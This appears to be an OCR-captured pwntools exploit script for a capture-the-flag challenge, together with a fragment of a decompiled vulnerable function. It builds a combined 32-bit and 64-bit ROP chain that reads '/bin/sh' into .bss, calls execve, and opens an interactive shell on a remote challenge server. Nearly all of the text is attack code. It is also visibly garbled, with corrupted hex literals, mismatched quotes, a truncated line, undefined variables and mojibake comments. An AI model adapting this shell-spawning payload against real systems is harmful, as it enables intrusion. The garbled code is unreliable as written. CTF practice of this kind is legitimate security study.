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int vul()
{

char v1; // [esp+Ch

sethbuf(stdin, 0);
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#coding:utf8
from pwn import *

"''sh32 = process('./pwnl")

sh64 = process('./pwn2')"'""’

sh = remote('node3.buuoj.cn',29103)

elf32 = ELF('./pwnl")

elf64 = ELF('./pwn2")

#64higadgets

pop_rax = 0x000000000043b97c

pop_rdi = ©x000000000040056

pop_rsi = 0x0000000000405895

pop_rdx = 0x000000000043b9d5

syscall = 0x00000000004011dc

read64 = elf64.sym['read’']

bss64 = Ox00000000006A32EQ

#32figadgets

pop_eax = 0Ox080a8af6

#pop edx ; pop ecx ; pop ebx ; ret

pop_edx_ecx_ebx = 0x0806e9f1

int80 = 0x080495a3

read32 = elf32.sym['read’']

bss32 = 0x080DA320

#add esp, Ox7c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
add_esp_8C = 0x0804933f

#payload32 'a'*0x110 + p32(read32) + p32(pop_edx_ecx_ebx) + p32(0) + p32(bss32) + p32(0x19)
#payload6e4 = 'a'*0x118 + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bsse4) + p64(pop_edx) + p64(0x10) + p64d

payload = 'a'*0x110

#32firopFFif, %esp, FHIRTEHBl64Dirop/ETH

payload += p32(add_esp_8C) + p32(0) #e#EWrputsHih

#644Lrop

#read(0,bss64,0x10)# A\ /bin/shFFH

payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss64) + p64(pop_rdx) + p64(0x10) + p64(read6d)
#execve(bss64,0,0)

payload += p64(pop_rdi) + p64(bss64) + p64(pop_rax) + p64(59) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(
payload = payload.ljust(@x1A0, '\x00")

#3247 rop

#read(0,bss32,0x10)

payload += p32(read32) + p32(pop_edx_ecx_ebx) + p32(0) + p32(bss32) + p32(0x10)

#execve(bss32,0,0)

payload += p32(pop_eax) + p32(0xB) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(bss32) + p32(int80)
#raw_input()

sh.sendafter('try to pwn it?',payload)

sleep(0.5)

sh.send('/bin/sh\x00")

sh.interactive()
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